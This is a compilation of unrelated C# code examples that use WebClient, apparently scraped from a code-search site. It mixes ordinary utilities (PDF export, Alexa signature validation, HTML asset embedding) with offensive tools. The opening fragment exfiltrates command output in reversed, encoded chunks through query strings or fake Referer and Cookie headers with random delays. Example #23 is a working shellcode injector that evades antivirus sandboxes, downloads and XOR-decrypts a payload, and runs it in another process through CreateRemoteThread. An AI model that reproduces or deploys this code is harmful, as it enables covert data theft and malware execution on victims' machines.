                                        B64encodebytes = UTF8Encoding.ASCII.GetBytes(temp);
                                        _B64Encode     = Convert.ToBase64String(B64encodebytes);

                                        MakeB64       = System.Text.Encoding.ASCII.GetBytes(_B64Encode);
                                        ConvertoBytes = BitConverter.ToString(MakeB64);
                                    }
                                    /// BASE64 is "Off" by Server
                                    if (!Clientside_Rnd_Base64_is_onoff)
                                    {
                                        MakeB64       = System.Text.Encoding.ASCII.GetBytes(temp);
                                        ConvertoBytes = BitConverter.ToString(MakeB64);
                                    }

                                    temp = "";
                                    foreach (var item in ConvertoBytes)
                                    {
                                        if (item.ToString() != "-")
                                        {
                                            temp += item;
                                        }
                                    }

                                    ConvertoBytes = temp;

                                    temp_rev = "";
                                    i2       = ConvertoBytes.Length / 24;
                                    i3       = ConvertoBytes.Length % 24;
                                    j        = 0;

                                    Console.ForegroundColor = ConsoleColor.DarkCyan;
                                    Console.WriteLine("[!]:CMD:[" + tmpcmd + "].Sending.Cmd.output::SendbyHttp::Web.Requests.Count[" + i2.ToString() + "/" + i3.ToString() + "]:Started");
                                    for (int i = 0; i < i2; i++)
                                    {
                                        Console.ForegroundColor = ConsoleColor.Cyan;
                                        rev   = "";
                                        Chars = ConvertoBytes.Substring(j, 24).ToCharArray();
                                        for (int ii = Chars.Length - 1; ii > -1; ii--)
                                        {
                                            rev += Chars[ii];
                                        }

                                        temp_rev  = rev;
                                        j         = j + 24;
                                        mydelayII = new Random();
                                        d         = mydelayII.Next(1000, 9000);
                                        if (Clientside_Rnd_Base64_is_onoff)
                                        {
                                            if (FakeHeader_onoff_status == "xheader-on")
                                            {
                                                if (FakeHeaderMode == "REFERER" || FakeHeaderMode == "COOKIES")
                                                {
                                                    Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request.Base64:[/default.aspx]");
                                                }
                                                else
                                                {
                                                    Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request.Base64:[/default.aspx?uids=" + temp_rev + "]");
                                                }
                                            }
                                            if (FakeHeader_onoff_status == "xheader-off")
                                            {
                                                Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request.Base64:[/default.aspx?uids=" + temp_rev + "]");
                                            }
                                        }
                                        if (!Clientside_Rnd_Base64_is_onoff)
                                        {
                                            if (FakeHeader_onoff_status == "xheader-on")
                                            {
                                                if (FakeHeaderMode == "REFERER" || FakeHeaderMode == "COOKIES")
                                                {
                                                    Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request:[/default.aspx]");
                                                }
                                                else
                                                {
                                                    Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request:[/default.aspx?uids=" + temp_rev + "]");
                                                }
                                            }
                                            if (FakeHeader_onoff_status == "xheader-off")
                                            {
                                                Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request:[/default.aspx?uids=" + temp_rev + "]");
                                            }
                                        }
                                        Thread.Sleep(d);

                                        //// Detecting FakeHeader Injection Status [on/off]

                                        if (FakeHeader_onoff_status == "xheader-off")
                                        {
                                            output = DumpHtml("http://" + args[1] + "/default.aspx?uids=" + temp_rev);
                                        }

                                        if (FakeHeader_onoff_status == "xheader-on")
                                        {
                                            if (FakeHeaderMode == "REFERER" || FakeHeaderMode == "COOKIES")
                                            {
                                                // Console.WriteLine("wow");
                                                DumpHtml("http://" + args[1] + "/default.aspx", true, FakeHeaderMode, temp_rev);
                                            }

                                            if (FakeHeaderMode == "")
                                            {
                                                /// FakeHeader mode [on] only without payload injection

                                                try
                                                {
                                                    request = new WebClient();
                                                    // request.Headers.Add(HttpRequestHeader.Connection, "keep-alive");
                                                    request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                                                    request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
                                                    request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");
                                                    request.DownloadData("http://" + args[1] + "/default.aspx?uids=" + temp_rev);
                                                    Thread.Sleep(1000);
                                                    request.Dispose();
                                                }
                                                catch (Exception e)
                                                {
                                                    Console.WriteLine(e.Message);
                                                }
                                            }
                                        }
                                        //// Detecting FakeHeader Injection Status [on/off]
                                    }

                                    Chars = ConvertoBytes.Substring(ConvertoBytes.Length - i3).ToCharArray();
                                    rev   = "";
                                    for (int ii = Chars.Length - 1; ii > -1; ii--)
                                    {
                                        rev += Chars[ii];
                                    }

                                    temp_rev = rev;
                                    d        = mydelayI.Next(1000, 9000);
                                    Thread.Sleep(d);
                                    if (Clientside_Rnd_Base64_is_onoff)
                                    {
                                        if (FakeHeader_onoff_status == "xheader-on")
                                        {
                                            if (FakeHeaderMode == "REFERER" || FakeHeaderMode == "COOKIES")
                                            {
                                                Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request.Base64:[/default.aspx]");
                                            }
                                            else
                                            {
                                                Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request.Base64:[/default.aspx?uids=" + temp_rev + "]");
                                            }
                                        }
                                        if (FakeHeader_onoff_status == "xheader-off")
                                        {
                                            Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request.Base64:[/default.aspx?uids=" + temp_rev + "]");
                                        }
                                    }
                                    if (!Clientside_Rnd_Base64_is_onoff)
                                    {
                                        if (FakeHeader_onoff_status == "xheader-on")
                                        {
                                            if (FakeHeaderMode == "REFERER" || FakeHeaderMode == "COOKIES")
                                            {
                                                Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request:[/default.aspx]");
                                            }
                                            else
                                            {
                                                Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request:[/default.aspx?uids=" + temp_rev + "]");
                                            }
                                        }
                                        if (FakeHeader_onoff_status == "xheader-off")
                                        {
                                            Console.WriteLine("[>]:CMD:Bytes:[" + rev + "]::SendbyHttp::Delay:[" + d.ToString() + "]::Web.Request:[/default.aspx?uids=" + temp_rev + "]");
                                        }
                                    }
                                    Console.ForegroundColor = ConsoleColor.DarkCyan;
                                    Console.WriteLine("[!]:CMD:[" + tmpcmd + "].Sending.Cmd.output::SendbyHttp::Web.Requests.Count[" + i2.ToString() + "/" + i3.ToString() + "]:Done");

                                    //// Detecting FakeHeader Injection Status [on/off]

                                    if (FakeHeader_onoff_status == "xheader-off")
                                    {
                                        output = DumpHtml("http://" + args[1] + "/default.aspx?uids=" + temp_rev);
                                    }

                                    if (FakeHeader_onoff_status == "xheader-on")
                                    {
                                        if (FakeHeaderMode == "REFERER" || FakeHeaderMode == "COOKIES")
                                        {
                                            DumpHtml("http://" + args[1] + "/default.aspx", true, FakeHeaderMode, temp_rev);
                                        }
                                        if (FakeHeaderMode == "")
                                        {
                                            try
                                            {
                                                /// FakeHeader mode [on] only without payload injection

                                                request = new WebClient();

                                                request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                                                request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
                                                request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");
                                                request.DownloadData("http://" + args[1] + "/default.aspx?uids=" + temp_rev);
                                                Thread.Sleep(1000);
                                                request.Dispose();
                                            }
                                            catch (Exception e)
                                            {
                                                Console.WriteLine(e.Message);
                                            }
                                        }
                                    }
                                    //// Detecting FakeHeader Injection Status [on/off]


                                    Thread.Sleep(1000);
                                    output   = DumpHtml("http://" + args[1] + "/default.aspx?logoff=null");
                                    Command2 = Command1;
                                    CMDTime2 = CMDTime1;
                                    Console.ForegroundColor = ConsoleColor.Gray;
                                }
                                catch (Exception)
                                {
                                    // throw;
                                }
                            }
                        }
                        else
                        {
                        }
                        init = true;
                    }
                    catch (Exception)
                    {
                    }
                }
            }
        }
Example #23
0
        // Main
        public static void Main(string[] args)
        {
            // XorEncryptedShellcodeInjector <Shellcode_source> <key_to_decrypt> <pid|processname>

            // Help section
            string WholeArg = "";

            for (int i = 0; i < args.Length; i++)
            {
                WholeArg += args.GetValue(i);
            }
            if (WholeArg.Contains("--help-detailed"))
            {
                PrintDetailedHelp();
                return;
            }
            else if ((args.Length < 3) || WholeArg.ToLower().Contains("--help") || WholeArg.ToLower().Contains("-h"))
            {
                PrintUsage();
                return;
            }

            // Check if running in AV Sandbox
            if (!WholeArg.Contains("--skip-av-sandbox-check"))
            {
                Console.WriteLine("Checking if running in an AV sandbox...");
                if (Heuristics.IsRunningInAVSandbox())
                {
                    return;
                }
            }

            // Check if target process(es) is running
            ArrayList TargetProcesses = new ArrayList();

            if (IsNumeric(args[2]))
            {
                try
                {
                    Process P = Process.GetProcessById(Int32.Parse(args[2]));
                    TargetProcesses.Add(P);
                }
                catch (ArgumentException)
                {
                    Console.WriteLine(string.Format("No process with PID {0} exists !"), Int32.Parse(args[2]));
                    return;
                }
            }
            else
            {
                foreach (Process P in Process.GetProcessesByName(args[2]))
                {
                    TargetProcesses.Add(P);
                }
                if (TargetProcesses.Count == 0)
                {
                    Console.WriteLine(string.Format("No process with name '{0}' exists !", args[2]));
                    return;
                }
            }

            // Arrange for the needed Win32 API funcs (D/Invoke)
            IntPtr OpenProcessAddr = IntPtr.Zero, VirtualAllocExAddr = IntPtr.Zero, CreateRemoteThreadAddr = IntPtr.Zero, WriteProcessMemoryAddr = IntPtr.Zero, CloseHandleAddr = IntPtr.Zero, VirtualFreeExAddr = IntPtr.Zero;

            if (!GetFunctionAddreses(ref OpenProcessAddr, ref VirtualAllocExAddr, ref CreateRemoteThreadAddr, ref WriteProcessMemoryAddr, ref CloseHandleAddr, ref VirtualFreeExAddr))
            {
                Console.WriteLine("Failed to get needed function addresess");
                return;
            }
            OpenProcessDelegate        OpenProcess = (OpenProcessDelegate)Marshal.GetDelegateForFunctionPointer(OpenProcessAddr, typeof(OpenProcessDelegate));
            VirtualAllocExDelegate     VirtualAllocEx = (VirtualAllocExDelegate)Marshal.GetDelegateForFunctionPointer(VirtualAllocExAddr, typeof(VirtualAllocExDelegate));
            CreateRemoteThreadDelegate CreateRemoteThread = (CreateRemoteThreadDelegate)Marshal.GetDelegateForFunctionPointer(CreateRemoteThreadAddr, typeof(CreateRemoteThreadDelegate));
            WriteProcessMemoryDelegate WriteProcessMemory = (WriteProcessMemoryDelegate)Marshal.GetDelegateForFunctionPointer(WriteProcessMemoryAddr, typeof(WriteProcessMemoryDelegate));
            CloseHandleDelegate        CloseHandle = (CloseHandleDelegate)Marshal.GetDelegateForFunctionPointer(CloseHandleAddr, typeof(CloseHandleDelegate));
            VirtualFreeExDelegate      VirtualFreeEx = (VirtualFreeExDelegate)Marshal.GetDelegateForFunctionPointer(VirtualFreeExAddr, typeof(VirtualFreeExDelegate));

            // Parse args
            string KeySource       = args[1];
            string ShellcodeSource = args[0];

            // Show target processes
            Console.Write("Chosen process(es): ");
            foreach (Process P in TargetProcesses)
            {
                Console.Write(string.Format("{0}({1}) ", P.ProcessName, P.Id));
            }
            Console.WriteLine("");

            // Get the encrypted shellcode
            byte[] ShellcodeEncrypted;
            try
            {
                if (ShellcodeSource.StartsWith("http://") || (ShellcodeSource.StartsWith("https://")))
                {
                    Console.Write("Downloading xor-encrypted shellcode: ");
                    WebClient WC = new WebClient();
                    ShellcodeEncrypted = WC.DownloadData(ShellcodeSource);
                    Console.Write("DONE !");
                }
                else if (File.Exists(ShellcodeSource))
                {
                    Console.Write("Reading xor-encrypted shellcode from file: ");
                    ShellcodeEncrypted = File.ReadAllBytes(ShellcodeSource);
                    Console.Write("DONE !");
                }
                else
                {
                    Console.WriteLine("Converting xor-encrypted shellcode from base64 argument: ");
                    ShellcodeEncrypted = Convert.FromBase64String(ShellcodeSource);
                    Console.Write("DONE !");
                }
                Console.WriteLine(string.Format(" ({0} bytes)", ShellcodeEncrypted.Length));
            }
            catch
            {
                Console.WriteLine("FAILED !");
                return;
            }

            // Get the decryption key
            byte[] DecryptionKey;
            try
            {
                if (KeySource.StartsWith("http://") || (KeySource.StartsWith("https://")))
                {
                    Console.Write("Fetching decryption key: ");
                    WebClient WC = new WebClient();
                    DecryptionKey = WC.DownloadData(KeySource);
                    Console.Write("DONE !");
                }
                else if (File.Exists(KeySource))
                {
                    Console.Write("Reading decryption key from file: ");
                    DecryptionKey = File.ReadAllBytes(KeySource);
                    Console.Write("DONE !");
                }
                else
                {
                    Console.Write("Reading decryption key from argument: ");
                    DecryptionKey = Encoding.UTF8.GetBytes(KeySource);
                    Console.Write("DONE !");
                }
                Console.WriteLine(string.Format(" ({0} bytes)", DecryptionKey.Length));
            }
            catch
            {
                Console.WriteLine("FAILED !");
                return;
            }

            // Decrypt shellcode
            Console.Write("Decrypting shellcode: ");
            IntPtr BytesWritten = IntPtr.Zero;

            byte[] ShellcodeDecrypted = new byte[ShellcodeEncrypted.Length];

            for (int i = 0; i < ShellcodeDecrypted.Length; i++)
            {
                ShellcodeDecrypted[i] = (byte)(DecryptionKey[i % DecryptionKey.Length] ^ ShellcodeEncrypted[i]);
            }
            Console.WriteLine("DONE");

            // Inject shellcode
            try
            {
                Console.WriteLine("Injecting shellcode in target process(es)...");
                foreach (Process P in TargetProcesses)
                {
                    Console.Write(string.Format("\t> Trying '{0}'({1}): ", P.ProcessName, P.Id));
                    IntPtr TargetProcessH = OpenProcess(ProcessAccessFlags.CreateThread | ProcessAccessFlags.QueryInformation | ProcessAccessFlags.VirtualMemoryOperation | ProcessAccessFlags.VirtualMemoryRead | ProcessAccessFlags.VirtualMemoryWrite, true, P.Id);
                    if (TargetProcessH == IntPtr.Zero)
                    {
                        Console.WriteLine(string.Format("Error {0} opening handle to target process", GetLastError()));
                        continue;
                    }

                    IntPtr AllocatedMemoryP = VirtualAllocEx(TargetProcessH, IntPtr.Zero, (uint)ShellcodeEncrypted.Length,
                                                             AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
                    if (AllocatedMemoryP == IntPtr.Zero)
                    {
                        Console.WriteLine(string.Format("Error {0} allocating memory in target process", GetLastError()));
                        CloseHandle(TargetProcessH);
                        continue;
                    }

                    // Inject shellcode to target process
                    if (!WriteProcessMemory(TargetProcessH, AllocatedMemoryP, ShellcodeDecrypted, ShellcodeDecrypted.Length, out BytesWritten))
                    {
                        Console.WriteLine(string.Format("Error {0} writing shellcode to process memory", GetLastError()));
                        VirtualFreeEx(TargetProcessH, AllocatedMemoryP, 0, AllocationType.Release | AllocationType.Decommit);
                        CloseHandle(TargetProcessH);
                        continue;
                    }

                    if ((int)BytesWritten != ShellcodeDecrypted.Length)
                    {
                        Console.WriteLine(string.Format("Error {0} writing full shellcode to process memory", GetLastError()));
                        VirtualFreeEx(TargetProcessH, AllocatedMemoryP, 0, AllocationType.Release | AllocationType.Decommit);
                        CloseHandle(TargetProcessH);
                        continue;
                    }
                    Console.WriteLine("DONE");

                    // Start execution of the shellcode
                    Console.Write("Spawning new thread in target process: ");
                    IntPtr NewThreadId = IntPtr.Zero;
                    IntPtr NewThreadH  = CreateRemoteThread(TargetProcessH, IntPtr.Zero, 0, AllocatedMemoryP, IntPtr.Zero, 0, out NewThreadId);
                    if (NewThreadH == IntPtr.Zero)
                    {
                        Console.WriteLine(string.Format("Error {0}", GetLastError()));
                        VirtualFreeEx(TargetProcessH, AllocatedMemoryP, 0, AllocationType.Release);
                        CloseHandle(TargetProcessH);
                        continue;
                    }
                    CloseHandle(NewThreadH);
                    CloseHandle(TargetProcessH);
                    Console.WriteLine("SUCCESS !\n\nWritten by CaptainWoof");
                    break;
                }
            }
            catch (Exception exception)
            {
                Console.WriteLine(string.Format("\n\n{0}", exception.Message));
            }
        }
    private void GenerateHTML_TO_PDF(string HtmlString, bool ResponseShow, string FileName, bool SaveFileDir)
    {
        try
        {
            string pdf_page_size           = "A4";
            SelectPdf.PdfPageSize pageSize = (SelectPdf.PdfPageSize)Enum.Parse(typeof(SelectPdf.PdfPageSize),
                                                                               pdf_page_size, true);

            string pdf_orientation = "Portrait";
            SelectPdf.PdfPageOrientation pdfOrientation =
                (SelectPdf.PdfPageOrientation)Enum.Parse(typeof(SelectPdf.PdfPageOrientation),
                                                         pdf_orientation, true);



            int webPageWidth = 1024;


            int webPageHeight = 0;



            // instantiate a html to pdf converter object
            SelectPdf.HtmlToPdf converter = new SelectPdf.HtmlToPdf();


            // set converter options
            converter.Options.PdfPageSize        = pageSize;
            converter.Options.PdfPageOrientation = pdfOrientation;
            converter.Options.WebPageWidth       = webPageWidth;
            converter.Options.WebPageHeight      = webPageHeight;
            converter.Options.DisplayFooter      = true;

            // create a new pdf document converting an url
            SelectPdf.PdfDocument doc = converter.ConvertHtmlString(HtmlString, "");


            doc.Save(FileName);


            string    FilePath   = FileName;
            WebClient User       = new WebClient();
            Byte[]    FileBuffer = User.DownloadData(FilePath);
            if (FileBuffer != null)
            {
                Response.ContentType = "application/pdf";
                Response.AddHeader("content-length", FileBuffer.Length.ToString());
                Response.BinaryWrite(FileBuffer);
            }


            //if (FileName != "")
            //    doc.Save(FileName);

            doc.Close();
        }
        catch (Exception ex)
        {
            lblMsg.Text = _objBOUtiltiy.ShowMessage("danger", "Danger", ex.Message);
            ExceptionLogging.SendExcepToDB(ex);
        }
    }
Example #25
0
        public async Task Invoke(HttpContext httpContext)
        {
            BufferingHelper.EnableRewind(httpContext.Request);

            if (!httpContext.Request.Headers.Keys.Contains("Signature") ||
                !httpContext.Request.Headers.Keys.Contains("SignatureCertChainUrl"))
            {
                _logger.LogError(SignatureHeadersMissing);

                httpContext.Response.StatusCode = 400; // Bad Request
                await httpContext.Response.WriteAsync(SignatureHeadersMissing);

                return;
            }

            var sigCertChainUrl = httpContext.Request.Headers["SignatureCertChainUrl"];
            var certChainUrl    = sigCertChainUrl.Any()
                ? sigCertChainUrl.First()
                : string.Empty;

            if (string.IsNullOrWhiteSpace(certChainUrl))
            {
                _logger.LogError(SignatureChainUrlEmpty);

                httpContext.Response.StatusCode = 400; // Bad Request
                await httpContext.Response.WriteAsync(SignatureChainUrlEmpty);

                return;
            }

            // https://s3.amazonaws.com/echo.api/echo-api-cert-6-ats.pem
            var certUri = new Uri(certChainUrl);

            if (!((certUri.Port == 443 || certUri.IsDefaultPort) &&
                  certUri.Scheme.Equals(Uri.UriSchemeHttps, StringComparison.OrdinalIgnoreCase)))
            {
                _logger.LogError(MustUseHttps);

                httpContext.Response.StatusCode = 400; // Bad Request
                await httpContext.Response.WriteAsync(MustUseHttps);

                return;
            }

            if (!certUri.Host.Equals(ValidHostName, StringComparison.OrdinalIgnoreCase))
            {
                _logger.LogError(InvalidHostName);

                httpContext.Response.StatusCode = 400; // Bad Request
                await httpContext.Response.WriteAsync(InvalidHostName);

                return;
            }

            if (!certUri.AbsolutePath.StartsWith("/echo.api/"))
            {
                _logger.LogError(InvalidCertificatePath);

                httpContext.Response.StatusCode = 400; // Bad Request
                await httpContext.Response.WriteAsync(InvalidCertificatePath);

                return;
            }

            using (var client = new WebClient())
            {
                var certData    = client.DownloadData(certUri);
                var certificate = new X509Certificate2(certData);

                if (certificate.NotBefore > DateTime.UtcNow)
                {
                    _logger.LogError(CertificateNotYetEffective);

                    httpContext.Response.StatusCode = 400; // Bad Request
                    await httpContext.Response.WriteAsync(CertificateNotYetEffective);

                    return;
                }

                if (certificate.NotAfter <= DateTime.UtcNow)
                {
                    _logger.LogError(CertificateExpired);

                    httpContext.Response.StatusCode = 400; // Bad Request
                    await httpContext.Response.WriteAsync(CertificateExpired);

                    return;
                }

                if (!certificate.Subject.Contains("CN=echo-api.amazon.com"))
                {
                    _logger.LogError(CertificateInvalidIssuer);

                    httpContext.Response.StatusCode = 400; // Bad Request
                    await httpContext.Response.WriteAsync(CertificateInvalidIssuer);

                    return;
                }

                // ToDo: All certificates in the chain combine to create a
                // chain of trust to a trusted root CA certificate
                var certificateChain = new X509Chain
                {
                    ChainPolicy =
                    {
                        RevocationMode = X509RevocationMode.NoCheck
                    }
                };

                var hasChainToTrustedCA = certificateChain.Build(certificate);

                if (!hasChainToTrustedCA)
                {
                    _logger.LogError(InvalidCertificateChain);

                    httpContext.Response.StatusCode = 400; // Bad Request
                    await httpContext.Response.WriteAsync(InvalidCertificateChain);

                    return;
                }

                try
                {
                    var signature       = httpContext.Request.Headers["Signature"];
                    var signatureString = signature.Any()
                        ? signature.First()
                        : string.Empty;

                    _logger.LogInformation($"Sig = >>{signatureString}<<");

                    byte[] signatureDecoded = Convert.FromBase64String(signatureString);

                    var hasher = SHA1.Create();
                    var body   = await httpContext.Request.ReadHttpRequestBodyAsync();

                    httpContext.Request.Body.Position = 0; // Reset

                    var hashedBody = hasher.ComputeHash(Encoding.UTF8.GetBytes(body));

                    using (var rsaPublicKey = certificate.GetRSAPublicKey())
                    {
                        var isHashValid = rsaPublicKey.VerifyHash(hashedBody, signatureDecoded, HashAlgorithmName.SHA1,
                                                                  RSASignaturePadding.Pkcs1);

                        _logger.LogInformation($"Is Hash Valid Response: {isHashValid}");

                        if (rsaPublicKey == null || !isHashValid)
                        {
                            _logger.LogError(InvalidCertificateKey);

                            httpContext.Response.StatusCode = 400; // Bad Request
                            await httpContext.Response.WriteAsync(InvalidCertificateKey);

                            return;
                        }
                    }
                }
                catch (Exception ex)
                {
                    _logger.LogError(ex.Message);
                    httpContext.Response.StatusCode = 400; // Bad Request
                    await httpContext.Response.WriteAsync(ex.Message);

                    return;
                }
            }

            _logger.LogInformation("******************* VALIDATED *******************");

            await _next(httpContext);
        }
Example #26
0
        /// <summary>
        /// Processes embedded url('link') links and embeds the data
        /// and returns the expanded HTML string either with embedded
        /// content, or externalized links.
        /// </summary>
        /// <param name="html"></param>
        /// <param name="baseUrl"></param>
        /// <returns></returns>
        private string ProcessUrls(string html, string baseUrl)
        {
            var    matches     = urlRegEx.Matches(html);
            string contentType = null;

            byte[] linkData = null;

            foreach (Match match in matches)
            {
                string matched = match.Value;
                if (string.IsNullOrEmpty(matched))
                {
                    continue;
                }

                var url = StringUtils.ExtractString(matched, "(", ")")?.Trim(new char[] { '\'', '\"' }).Replace("&amp;", "").Replace("quot;", "");
                if (url.Contains("?"))
                {
                    url = StringUtils.ExtractString(url, "", "?");
                }


                if (url.StartsWith("http"))
                {
                    var http = new WebClient();
                    linkData    = http.DownloadData(url);
                    contentType = http.ResponseHeaders[System.Net.HttpResponseHeader.ContentType];
                }
                else if (url.StartsWith("file:///"))
                {
                    var baseUri = new Uri(baseUrl);
                    url = new Uri(baseUri, new Uri(url)).AbsoluteUri;

                    try
                    {
                        contentType = ImageUtils.GetImageMediaTypeFromFilename(url);
                        if (contentType == "application/image")
                        {
                            continue;
                        }

                        linkData = File.ReadAllBytes(WebUtility.UrlDecode(url));
                    }
                    catch
                    {
                        continue;
                    }
                }
                else
                {
                    try
                    {
                        var baseUri = new Uri(baseUrl);
                        var uri     = new Uri(baseUri, url);
                        url = uri.AbsoluteUri;
                        if (url.StartsWith("http") && url.Contains("://"))
                        {
                            var http = new WebClient();
                            linkData = http.DownloadData(url);
                        }
                        else
                        {
                            linkData = File.ReadAllBytes(WebUtility.UrlDecode(url.Replace("file:///", "")));
                        }

                        contentType = ImageUtils.GetImageMediaTypeFromFilename(url);
                    }
                    catch
                    {
                        continue;
                    }
                }

                if (linkData == null)
                {
                    continue;
                }

                string urlContent = null;
                if (CreateExternalFiles)
                {
                    var ext = "png";
                    if (contentType == "image/jpeg")
                    {
                        ext = "jpg";
                    }
                    else if (contentType == "image/gif")
                    {
                        ext = "gif";
                    }

                    string justFilename = Path.GetFileName(url);
                    string justExt      = Path.GetExtension(url);
                    if (string.IsNullOrEmpty(justExt))
                    {
                        justFilename = DataUtils.GenerateUniqueId(10) + "." + ext;
                    }
                    urlContent = "url('" + justFilename + "')";

                    File.WriteAllBytes(Path.Combine(OutputPath, justFilename), linkData);
                }
                else
                {
                    string data = $"data:{contentType};base64,{Convert.ToBase64String(linkData)}";
                    urlContent = "url('" + data + "')";
                }

                html = html.Replace(matched, urlContent);
            }

            return(html);
        }
Example #27
0
        private void ProcessScripts(HtmlDocument doc)
        {
            var scripts = doc.DocumentNode.SelectNodes("//script");

            if (scripts == null || scripts.Count < 1)
            {
                return;
            }


            foreach (var script in scripts)
            {
                var url = script.Attributes["src"]?.Value;
                if (url == null)
                {
                    continue;
                }

                byte[] scriptData;
                if (url.StartsWith("http"))
                {
                    var http = new WebClient();
                    scriptData = http.DownloadData(url);
                }
                else if (url.StartsWith("file:///"))
                {
                    url        = url.Substring(8);
                    scriptData = File.ReadAllBytes(WebUtility.UrlDecode(url));;
                }
                else // Relative Path
                {
                    try
                    {
                        var uri = new Uri(BaseUri, url);
                        url = uri.AbsoluteUri;
                        if (url.StartsWith("http") && url.Contains("://"))
                        {
                            var http = new WebClient();
                            scriptData = http.DownloadData(url);
                        }
                        else
                        {
                            scriptData = File.ReadAllBytes(WebUtility.UrlDecode(url));
                        }
                    }
                    catch
                    {
                        continue;
                    }
                }

                if (CreateExternalFiles)
                {
                    var    justFilename = Path.GetFileName(url);
                    string justExt      = Path.GetExtension(url);
                    if (string.IsNullOrEmpty(justExt))
                    {
                        justFilename = DataUtils.GenerateUniqueId(10) + ".js";
                    }

                    var fullPath = Path.Combine(OutputPath, justFilename);
                    File.WriteAllBytes(fullPath, scriptData);
                    script.Attributes["src"].Value = justFilename;
                }
                else
                {
                    string data = $"data:text/javascript;base64,{Convert.ToBase64String(scriptData)}";
                    script.Attributes["src"].Value = data;
                }
            }
        }
Example #28
0
        private void mnuSnippetImport_Click(object sender, System.EventArgs e)
        {
            string id = frmMain.ShowPrompt("Import Snippet", "Please enter the ID of the snippet you wish to import.", "Enter snippet ID:");

            if (id == "")
            {
                return;
            }

            // Construct a web server request
            WebClient client = new WebClient();

            // Populate the querystrings
            client.QueryString.Add("op", "fetch");
            client.QueryString.Add("id", id);

            // Execute the request
            string code = System.Text.ASCIIEncoding.ASCII.GetString(client.DownloadData("http://www.torquedev.com/network/snippetter.php"));

            // Check if we're successful
            if (client.ResponseHeaders["X-Snippet-Success"] == null || client.ResponseHeaders["X-Snippet-Success"] == "False")
            {
                MessageBox.Show(this, "Failed to retrieve snippet.  Snippet does not exist.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                return;
            }

            // Create the new snippet
            CSnippetter.CodeEntry entry = new TSDev.CSnippetter.CodeEntry();

            // Populate the fields
            entry.CodeCategory = client.ResponseHeaders["X-Snippet-Category"];
            entry.CodeTitle    = client.ResponseHeaders["X-Snippet-Title"];
            entry.CodeDescr    = client.ResponseHeaders["X-Snippet-Description"];
            string keywords = client.ResponseHeaders["X-Snippet-Keywords"];

            // Process keywords
            foreach (string keyword in keywords.Trim().Split(' '))
            {
                entry.CodeKeywords.Add(keyword);
            }

            // Write the codeblock
            entry.CodeContents = code;

            // Update the URL and date
            entry.CodeURL     = "http://www.torquedev.com/network/snippetter.php?op=showcode&id=" + id;
            entry.CodeExpires = DateTime.Now.Ticks + (new TimeSpan(30, 0, 0, 0, 0)).Ticks;

            // Spawn a snippetter edit window to make any changes
            frmSnippetNew fSnippetNew = new frmSnippetNew(entry, true, false);

            fSnippetNew.ShowInTaskbar = false;

            DialogResult result = fSnippetNew.ShowDialog();

            // If they cancelled, then don't add this to the collection
            if (result == DialogResult.Cancel)
            {
                return;
            }

            // Add it to the collection
            frmMain.stc_Snippets.CodeSnippets.Add(entry);

            // Refresh the list
            RefreshTree();
        }
Example #29
0
        static void Main(string[] args)
        {
            WebClient Connector = new WebClient();

            Connector.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";

            while (true)
            {
                Console.WriteLine(" Enter request type (GET/POST)");
                Console.Write(" > ");

                string address;
                byte[] raw;
                string result;

                string line = Console.ReadLine();
                switch (line.ToUpper())
                {
                case "GET":
                    Console.WriteLine(" Enter address");
                    Console.Write(" > ");

                    address = Console.ReadLine();
                    if (!address.Contains("://"))
                    {
                        address = "http://" + address;
                    }

                    raw    = Connector.DownloadData(address);
                    result = BytesToString(raw);

                    Console.WriteLine();
                    Console.WriteLine(result);
                    Console.WriteLine();
                    break;

                case "POST":
                    Console.WriteLine(" Enter address");
                    Console.Write(" > ");

                    address = Console.ReadLine();
                    if (!address.Contains("://"))
                    {
                        address = "http://" + address;
                    }

                    Console.WriteLine(" Enter POST data");
                    Console.Write(" > ");

                    String data = Console.ReadLine();

                    raw    = Connector.UploadData(address, Encoding.UTF8.GetBytes(data));
                    result = BytesToString(raw);

                    Console.WriteLine();
                    Console.WriteLine(result);
                    Console.WriteLine();
                    break;
                }
            }
        }
    private void RetrieveFieldsDetailPDF1()
    {
        string mlTANGGAL = "";
        string mlRECEIVEDCODE = "";
        string mlRECEIVEDBY = "";

        Warning[] warnings;
        string[] streamIds;
        string mimeType = string.Empty;
        string encoding = string.Empty;
        string extension = string.Empty;
        string filename = "";
        string deviceInfo =
        "<DeviceInfo>" +
        "  <OutputFormat>EMF</OutputFormat>" +
        "  <PageWidth>8.27in</PageWidth>" +
